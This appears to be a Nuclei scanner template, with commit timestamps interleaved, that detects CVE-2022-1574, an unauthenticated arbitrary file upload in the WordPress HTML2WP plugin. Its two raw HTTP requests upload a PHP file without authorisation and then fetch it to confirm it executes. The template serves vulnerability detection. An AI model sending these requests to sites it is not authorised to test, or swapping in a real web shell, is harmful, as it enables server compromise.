2022-10-19 10:16:16 +00:00
id : CVE-2022-1574
info :
2022-10-25 13:40:49 +00:00
name : WordPress HTML2WP <=1.0.0 - Arbitrary File Upload
2022-10-19 10:16:16 +00:00
author : theamanrawat
severity : critical
description : |
2022-10-25 13:40:49 +00:00
WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.
2023-09-06 11:59:08 +00:00
remediation : |
Update to the latest version of the plugin or remove it if not needed.
2022-10-19 10:16:16 +00:00
reference :
- https://wpscan.com/vulnerability/c36d0ea8-bf5c-4af9-bd3d-911eb02adc14
- https://wordpress.org/plugins/html2wp/
2022-10-19 10:31:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-1574
2022-10-19 10:16:16 +00:00
classification :
2022-10-19 17:33:26 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-10-19 10:16:16 +00:00
cve-id : CVE-2022-1574
2023-07-11 19:49:27 +00:00
cwe-id : CWE-352
2023-08-31 11:46:18 +00:00
epss-score : 0.02682
2023-11-27 09:19:41 +00:00
epss-percentile : 0.89327
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:html2wp_project:html2wp:*:*:*:*:*:wordpress:*:*
2022-10-19 10:16:16 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : html2wp_project
product : html2wp
2023-09-06 11:59:08 +00:00
framework : wordpress
2022-10-19 17:33:26 +00:00
tags : wp-plugin,wp,fileupload,unauth,wpscan,cve2022,wordpress,intrusive,cve,html2wp
2022-10-19 10:16:16 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-19 10:16:16 +00:00
- raw :
- |
POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1
Host : {{Hostname}}
Content-Length : 253
Content-Type : multipart/form-data; boundary=---------------------------7816508136577551742878603990
Connection : close
-----------------------------7816508136577551742878603990
Content-Disposition : form-data; name="local_importing[]"; filename="{{randstr}}.php"
Content-Type : text/html
<?php
echo "File Upload success";
-----------------------------7816508136577551742878603990 --
- |
GET /wp-content/uploads/html2wp/{{randstr}}.php HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- "status_code_1 == 302"
- "status_code_2 == 200"
2022-10-19 10:19:42 +00:00
- "contains(body_2, 'File Upload success')"
condition : and
2023-11-27 10:10:24 +00:00
# digest: 4b0a004830460221009f87f8c07a85a4589e3d24fe9fa5b3da176ad230ec0a139c1d8faed182fb2d71022100a68cf223287ccf637d73a520264f79e6ba0c93f17253ef3c89bfc4cbcab1ebea:922c64590222798bb761d5b6d8e72950